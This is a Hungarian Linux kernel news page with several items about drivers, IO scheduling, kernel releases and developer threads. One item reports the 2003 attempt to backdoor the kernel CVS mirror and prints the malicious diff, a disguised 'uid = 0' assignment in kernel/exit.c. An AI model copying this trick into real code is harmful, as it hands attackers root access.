Kernel

Forcedeth a 2.4-es kernelhez

Címkék

Az NVidia nForce chipset alapra épülő hálózati kártya tulajdonosai bizonyára örülni fognak az alábbi hírnek:

Mint az köztudott, nemrégiben megjelent egy alpha állapotú meghajtóprogram az Nforce chipset ethernet csatolófelületéhez. A driver a forcedeth névre hallgat, és GPL licenc alatt érhető el. Sajnos nem az NVidia adta ki a drivert, hanem lelkes fejlesztők RE munkájának köszönhető, hogy létezik.Carl-Daniel Hailfinger és Andrew de Quincey visszafejtették az nvnet drivert, és a munka alapján megírták az eszköz specifikációit. A dokumentum alapján Manfred Spraul írta meg a drivert.

A driver egyelőre fejlesztőknek készült, alpha állapotú. Ennek ellenére a normális hálózati forgalomnak mennie kell a meghajtóval, de ez jelenleg még lassú, mert a megszakítás-kezelő kód még nincs kész. A meghajtók működnek az NForce 2 chipsettel, az NForce és NForce 3 lapkészlettel egyelőre nem tesztelték.

A patchek letölthetők:

forcedeth_2_4_patch.txt

forcedeth_2_6_patch.txt

További jó hír, hogy a driver beépítésre került Bernhard Rosenkraenzer -pac (-post ac - Alan Cox fájának folytatása) forrásfájába. A ma megjelent 2.4.23-rc1-pac1 már tartalmazza a forcedeth kódot. A 2.6-os Linux kernelbe már korábban szintén bekerült a driver Andrew Morton jóvoltából (2.6.0-test9-mm2).

cfq + io prioritások

Címkék

Jens Axboe - a SuSE kernelhackere - nice szinteket épített a CFQ (completely fair queueing) IO ütemezőbe (a CFQ IO schedulerre az jellemző, hogy működése során megpróbálja egyenlő részre felosztani a rendelkezésre álló IO sávszélességet a processzek között). Hogy működnek ezek az nice szintek?

A processzhez hozzá van rendelve egy nice szint, amely a 0-tól 20-ig levő tartományban bármennyi lehet. A 0-ás és a 20-as szintek különleges szintek. A 0-ás szint jelentése: csak akkor engedélyezzük a processz számára az IO műveletet, ha a diszk ``idle'' állapotban van, a 20 jelentése: a processz IO-ját valósidejűnek (realtime) tekintjük. A valósidejű IO-val rendelkező processz fér hozzá a diszkhez elsőként. Az 1-19 szint valahol a kettő között van, azaz az IO 5%-95%-át ``engedélyezi'' a processz számára.

Mire is jó ez?Gondoljuk bele abba a helyzetbe, hogy CD-t írunk, és közben a háttérben olyan feladat fut, mint a sok diszk művelettel járó ``updatedb''. Ebben az esetben megadhatjuk, hogy a ``cdrecord'' 20-as szinten fusson valósidőben, míg az ``updatedb'' a 0-son. Ezzel biztosítjuk, hogy az írás szempontjából kritikus művelet magasabb prioritást kapjon, mint a kevésbé fontos frissítési művelet.

Mivel tudjuk a nice szinteket állítani? Jens készített egy user-space eszközt a feladat ellátására. A neve ``ionice''. Használata:

# ionice -n20 bash

Ez azt jelenti, hogy a bash valósidőben fut. A használat során figyelembe kell venni, hogy a nice szint öröklődik a fork során, így az összes ebből a shellből indított program valósidőben fog futni.

# ionice -n0 dbench 32

Ezzel a paranccsal 0-ás szinten futtatjuk a ``dbench'' nevű programot, amely kizárólag akkor fog csak futni, ha a diszk éppen idle állapotban van.

Az új processzek számára alapértelmezett IO nice szint 10.

Jens Axboe levele, patch, magyarázat itt.

Backdoor-t próbáltak csempészni a fejlesztői Linux kernelbe

Címkék

Larry McVoy - a BitMover alapítója, a Bitkeeper atyja - tegnap egy az LKML-re küldött levelében felhívta a fejlesztők figyelmét arra, hogy valaki backdoor kódot próbált becsempészni a fejlesztői kernelfába.

``Valaki közvetlenül módosította a CVS fát a kernel.bkbits.net-en. Dave megnézte a gépet és úgy látszik, hogy valaki megpróbált betörni, és meg is csinálta.''A módosított file a 'kernel/exit.c' file. A támadó közvetlenül a 2.6.0-test fejlesztői kernel CVS mirror szerverén nyúlt bele a fileba. A CVS logba - nyilván hibásan - David S. Miller (davem - a Red Hat kernelfejlesztője) neve került, mint módosító.


    revision 1.121

    date: 2003/11/04 16:44:19; author: davem; state: Exp; lines: +58 -0

    Oops, I worked on the the wrong file, fixed again.

    ----------------------------

    revision 1.120

    date: 2003/11/04 16:42:00; author: davem; state: Exp; lines: +0 -58

    *** empty log message ***

    ----------------------------

    revision 1.119

    date: 2003/11/04 16:22:47; author: davem; state: Exp; lines: +2 -0

    *** empty log message ***

    ----------------------------

    revision 1.118

    date: 2003/10/27 19:50:03; author: torvalds; state: Exp; lines: +11 -5

    Fix ZOMBIE race with self-reaping threads.

    exit_notify() used to leave a window open when a thread

    died that made the thread visible as a ZOMBIE even though

    the thread reaped itself. This closes that window by marking

    the thread DEAD within the tasklist_lock.

    (Logical change 1.14141)

    ----------------------------


Közelebbről megvizsgálva a beillesztett két sornyi kódot, a fejlesztőknek egyértelművé vált, hogy valaki backdoor-t szeretett volna tenni a kernelforrásba. A kód úgy volt megírva, hogy a támadó ``root'' jogot kapott volna a szerveren, ha a támadás sikeres.

A CVS fa jelenleg már a normális kódot tartalmazza, így aki CVS-t használ a fejlesztéshez, az megteheti, hogy eltávolítja a kérdéses filet és frissít.

A beillesztett kód a következő:

--- GOOD 2003-11-05 13:46:44.000000000 -0800

+++ BAD 2003-11-05 13:46:53.000000000 -0800

@@ -1111,6 +1111,8 @@

schedule();

goto repeat;

}


+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))

+ retval = -EINVAL;

retval = -ECHILD;

end_wait4:

current->state =TASK_RUNNING;

Sokan támadták (köztük RMS is) annak idején a Bitkeeper-t, mondván, hogy kereskedelmi termékkel fejlesztenek egy nyílt forrású, szabad operációs rendszert. Linus ismert CVS ellenességéről. Ennek ellenére március közepe óta a 2.4 és 2.5 kernelforrások CVS-ben elérhetőek (korai Bitkeeper - CVS gateway már korábban is volt). Jelenleg úgy tűnik, hogy a CVS szervert támadták, a Bitkeeper-t nem. Linus szerint a Bitkeepert biztonságosabb, így ha valahol módosítás történt, akkor az a CVS volt.

A Bitkeeper pártolók hangja most biztos felerősödik. A thread itt.

Andrew Morton: Linux 2.6.0-test9-mm2

Címkék

Andrew Morton - a 2.6-os kernel karbantartója - ma kiadta a második -mm patchet a 2.6.0-test9 kernelhez. A patch random javításokat tartalmaz. Egy kis tuning a Nick Piggin féle anticipatory IO ütemezőhöz (a 2.6 jelenlegi alapértelmezett elevatora, amellyel voltak kisebb gondok az elmúlt napokban) és némi readahead tuning, amelyek segítségével jobb eredményt lehet elérni az adatbázis tesztekben.

Az anticipatory IO ütemező egyelőre még a deadline IO ütemező (a régi elevator kód) mögött van egy kicsit a teljesítményben a random IO tesztekben (adatbázis műveletek) de reménykedjünk.Az NVIDIA nForce chipset tulajdonosoknak jó hír, hogy az ethernet interface-hez kiadott GPL-es driver már elérhető az -mm2-ben.

Andrew offline lesz pár napig.

Mivel a 2.6.0 kernel fejlesztése a finiséhez érkezett (egyes hírek szerint már akár decemberben lehet stabil 2.6.0-ás kernel), kéretik fokozott intenzitással tesztelni az új kerneleket. A 2.6.0-test sorozat teljesen stabil, május vége óta kizárólag ezt használom az összes gépemen. Nyugodtan lehet (azért fokozott figyelemmel, ugye) tesztelni. Egyesek szerint masszívabb (szerintem is) mint a jelenlegi stabil 2.4 kernelsorozat utolsó tagjai. A bugokat az LKML-re (linux-kernel@vger.kernel.org) kéretik jelenteni.

A stuff letölthető innen.

AKPM levele itt.

Marcelo Tosatti: Linux 2.4.23-pre9

Címkék

Marcelo kiadta a 2.4.23-as kernel kilencedik pre verziojat. A bejelentesben azt olvashatjuk, hogy a 2.4.24-pre-ig mar csak bugfixeket fogad a karbantarto. Nehany korabban beolvasztott problemas ACPI patch eltavolitasra kerult a jelenlegi prepatch-bol.

Mi várható a Linux 2.6-ban?

Címkék

Dave Jones (akkori SuSE-s, jelenleg Red Hat-os fejlesztő) pontosan egy éve adta a ki a Post-Halloween Document névre hallgató írását, amelyben arról írt, hogy mi várható a 2.6-os kernelben. A kernelhacker most a közelgő Halloween ünnep miatt nem tudta megállni, hogy ne frissítse írását.A naprakész lista a legutolsó teszt (2.6.0-test9) kernel alapján készült. Azoknak akik még nem kezdtek el ismerkedni a kiadás előt álló, új Linux kernellel, azoknak nagyon-nagyon hasznos lehet a dokumentum. Minden olyan kérdésre (és egy kicsit többre is) választ kaphatnak az írásból, amely felmerülhet a teszteléskor.

A frissített dokumentum a The post-halloween document. v0.46 (aka, 2.6 - what to expect) névre hallgat. Az írást megtalálod itt.

Dave bejelentése itt.

Indexelt kernelfák

Címkék

Robert Watson egy olyan weboldalt készített, amelyen több népszerű, nyílt forrású operációs rendszer kernelének forrását is meg tudjuk tekinteni.Amellett, hogy online böngészhetjük a forráskódokat, a kódok egyes soraihoz rendelt indexszekkel könnyedén manőverezhetünk a forráskódban. Az egyes operációs rendszerek kernelének belső felépítésével ismerkedőknek hasznos segítség lehet a tanulásban.

Hogy mely rendszerek kernelforrását találjuk meg az oldalon?

A FreeBSD head, releng51, releng50, releng49, releng4 és releng3-at, plusz a Linux 2.4.22 és 2.6.0-test9 kernelekét. Robert tervezi a felsorolt OS-ek mellett a OpenBSD, NetBSD és DragonFly BSD kernelek forrását is elhelyezni az oldalon.

Látogasd meg az oldalt itt.

Dolgok, amelyeket úgy tűnik, hogy a Longhorn jól csinál

Címkék

Hans Reiser - a ReiserFS projekt kiötlője - küldött a minap egy érdekes levelet az LKML-re. A levélben arról ír, hogy a redmondi fejlesztők jónak látszó dolgokat próbálnak a Windows éveken belül megjelenő Longhorn verziójába beleépíteni. Felvetette, hogy esetleg a Linux kernelfejlesztőknek is lépniük kellene ebbe az irányba, nehogy egyes területeken lemaradjanak a fejlesztéssel. Ebből egy hosszú thread alakult ki.Reiser szerint a Longhorn fejlesztői arra keszülnek, hogy tranzakciós támogatást integráljanak bele az operációs rendszerbe. Minden XML-ben lesz, támogatást készítenek a filerendszerben való böngészhetőséghez. Az XML lekérdezés és böngészhetőség támogatása egy egységes formában fog megjelenni.

A levélre sok válasz érkezett. Sokak csak vaporware-nek nevezték a Longhorn ezen funkcióját. Ted Tso - veterán kernelfejlesztő - szerint nem biztos, hogy a Linux fejlesztőknek követniük kellene a windows fejlesztőket. Ha a windowsban megjelenik egy új funkció, akkor azt nem biztos, hogy nekik ugyanazon módon kell implementálniuk.

Kérte Reisert, hogy csak azért, mert egy vaporware sajtóbejelentést olvasott a Microsoft-tól, ne gondolja, hogy a.) az MS majd egy SQL optimalizátort fog beépíteni a Longhorn kernelébe, b.) hogy ha mégis megteszi, akkor a Linux fejlesztőknek követniük kellene a rossz példát, és ugyanazt kellene tenniük.

Az érdekes thread itt.